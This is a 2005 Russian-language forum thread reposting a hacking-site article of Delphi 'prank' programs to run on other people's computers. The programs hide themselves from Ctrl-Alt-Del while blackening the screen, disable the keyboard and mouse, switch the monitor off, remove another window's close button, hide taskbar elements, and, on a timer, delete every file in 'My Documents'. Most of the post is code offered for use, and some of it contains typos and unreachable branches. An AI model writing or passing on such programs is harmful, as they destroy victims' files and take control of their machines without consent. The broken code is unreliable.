PDA

Просмотр полной версии : Западло на Delphi #3


foreva
07.02.2005, 16:23
Западло на Delphi #3
Источник: hack-info.org

Куда подевался экран?
Для начала запусти Дельфи (желательно версии 5), жми на File -- New Application. Создастся новое приложение. Сейчас ткни на Project -- View Source. Теперь сотри там всё и пиши:

program joke;
uses Windows, Graphics; { тут мы подключаем необходимые модули }
var
desk:TCanvas; { тут мы объявляем переменные }
begin
end.

Ну что же, каркас готов, теперь будем писать основной код:

program joke;
uses Windows, Graphics; { тут мы подключаем необходимые модули }
var
desk:TCanvas; { тут мы объявляем переменные }
begin
desk:=TCanvas.Create; { инициализируем переменную }
desk.handle:=GetDC(0); { получаем заголовок десктопа }
while true do
begin
Yield;
desk.Pixels[Random(1024), Random(768)]:=0; { точка на экране становится черной }

end;
end.

Прога почти готова, жми на F9 и наслаждайся! Теперь осталось сделать что бы прогу нашу через CTRL-ALT-DEL не видно было:

program joke;
uses Windows, Graphics; { тут мы подключаем необходимые модули }
var
desk:TCanvas; { тут мы объявляем переменные }
function RegisterServiceProcess(dwProcessID, dwType: Integer): Integer; stdcall; external 'KERNEL32.DLL';
begin
RegisterServiceProcess(GetCurrentProcessID, 1);
desk:=TCanvas.Create; { инициализируем переменную }
desk.handle:=GetDC(0); { получаем заголовок десктопа }
while true do
begin
Yield;
desk.Pixels[Random(1024), Random(768)]:=0; { точка на экране становится черной }
end;
end.

Всё! Нашу заподлянку не снять через "три весёлых клавиши"!. Жми теперь CTRL-F9 и вперёд!

Отключение клавиатуры
Для начала запусти Дельфи, выбери в меню Project--> View Source и набери вот это:

program antiklava;
uses Windows;
begin
end.


Так, основа готова. Теперь надо добавить ядро программы и объявления переменных:

program antiklava;
uses Windows; { подключение необходимых модулей }
var
klava:boolean; { объявление логической переменной}
begin
klava:=true; { устанавливаем значение переменной }
while true do { начинаем бесконечный цикл }
begin
Yield; { делаем так, чтобы всё не подвисло :)}
Sleep(2*60*1000); { ничего не делаем 2 минуты }
klava:=not klava; { присваиваем переменной противоположное значение }
EnableHardwareInput(klava); { и в зависимости от переменной, отключаем или включаем клаву с мышкой}
end;
end.

Ну вот, всё что нам осталось - CTRL-F9.
P.S. Большинство примеров написано на Win32 API. Если кто-нибудь захочет переписать их под любой другой язык программирования, знайте - это не возбраняется

ВЫрубить монитор
Давайте прикольнёмся над пользователем. Допустим выведем внезапно сообщение, типа... "Уже поздно. Будь послушным мальчиком. Туши свет и вали спать!" и... вырубим монитор...(включить его чудилка уже не сможет)...
procedure TForm1.Button3Click(Sender: TObject);
begin
if MessageDlg('Уже поздно. Будь послушным мальчиком. Туши свет и вали спать!', mtInformatoion, [mbOk], 0)=mrOk then
SendMessage(Application.Handle,WM_SYSCOMMAND,SC_MO NITORPOWER,0);
end;

Для того, чтобы программно включить монитор можете использовать следующий код:

procedure TForm1.Button3Click(Sender: TObject);
begin
if MessageDlg('Уже поздно. Будь послушным мальчиком. Туши свет и вали спать!', mtInformatoion, [mbOk], 0)=mrOk then
SendMessage(Application.Handle,WM_SYSCOMMAND,SC_MO NITORPOWER, -1);
end;

Отключить кнопку закрытия Х чужого окна
Для примера, запустите "Блокнот" и попробуем его кнопку закрытия окна сделать неактивной, кроме того пункт "закрыть" в системном меню тоже будет отключён! ;-]

procedure TForm1.Button1Click (Sender: TObject);
var
hwndHandle : THANDLE;
hMenuHandle : HMENU;
begin
hwndHandle := FindWindow(nil, 'Untitled - Notepad');
if (hwndHandle <> 0) then begin
hMenuHandle := GetSystemMenu(hwndHandle, FALSE);
if (hMenuHandle <> 0) then
DeleteMenu(hMenuHandle, SC_CLOSE, MF_BYCOMMAND);
end;
end;

P.S.
Вместо "Untitled - Notepad", нужно подставить заголовок того окна, которому вы хотите послать сообщение.

ОЧИСТИТЬ "МОИ ДОКУМЕНТЫ"
Мы изучим самый легкий способ: удаление всех файлов из папки "Мои документы" без учёта вложенных файлов. Для этого вынесем компонент класса ТFileListBox - это список файлов (находится на закладке Win3.1 палитры компонентов). Затем, с той же закладки, выносим компонент класса TDirectoryListBox - это список каталогов. Задаём ему свойство FileList, указывающее на список файлов (на компонент FileListBox1). Далее можно по созданию окна или по таймеру (если ваша программа многоразового использования) пишем такой код:

procedure TForm1.Timer1Timer(Sender: TObject);
var
i:Integer;
begin
DirectoryListBox1.Directory:='c:\мои документы';
for i:=0 to FileListBox1.Items.count-1 do begin
DeleteFile('C:\мои документы\'+FileListBox1.Items[i]);
end;
end;

СКРЫТЬ TRAY, ЧАСЫ, КНОПКУ 'ПУСК', ПАНЕЛЬ ЗАДАЧ
Для начала запусти Дельфи (желательно версии 5), жми на File -- New Application. Создастся новое приложение. Сейчас ткни на Project -- View Source. Теперь сотри там всё и пиши:

program proga2;
uses Windows;
var
Wnd:THandle; { объявляем переменные }
int:integer;
begin
Randomize; { холостой прогон генератора случайных чисел }
int:=(Random(3)); { выбор одного варианта из четырёх }
case int of
0: { если первый вариант то }
begin
Wnd := FindWindow('Progman', nil); { прячем трей }
Wnd := FindWindowEx(Wnd, HWND(0),'ShellDll_DefView', nil);
ShowWindow(Wnd, SW_HIde);
end;
1: { если второй вариант то }
begin
Wnd := FindWindow('Shell_TrayWnd', nil);
Wnd := FindWindowEx(Wnd, HWND(0),'TrayNotifyWnd', nil);
Wnd := FindWindowEx(Wnd, HWND(0),'TrayClockWClass', nil);
{ прячем часы }
ShowWindow(Wnd, SW_HIde);
end;
2:
begin
Wnd := FindWindow('Shell_TrayWnd', nil);
Wnd := FindWindowEx(Wnd, HWND(0),'Button', nil);
{прячем кнопку "Пуск"}
ShowWindow(Wnd, SW_HIde);
end;
3:
begin
Wnd := FindWindow('Shell_TrayWnd', nil);
Wnd := FindWindowEx(Wnd, HWND(0),'TrayNotifyWnd', nil);
{ прячем "Панель задач" }
ShowWindow(Wnd, SW_HIDe);
end;
end;
end.

По желанию можно вставить защиту от CTRL-ALT-DEL.

YooogI
07.02.2005, 22:34
гм.......старо, банально и неинтересно

KEZ
08.02.2005, 00:13
согласен - на делфи можно и короче написать так чтоб все повисло - но нормальные люди (ИМХО!!!) делфи не используют

YooogI
08.02.2005, 00:56
согласен - на делфи можно и короче написать так чтоб все повисло - но нормальные люди (ИМХО!!!) делфи не используют
Ответить с цитированием
ye........C++ рулит!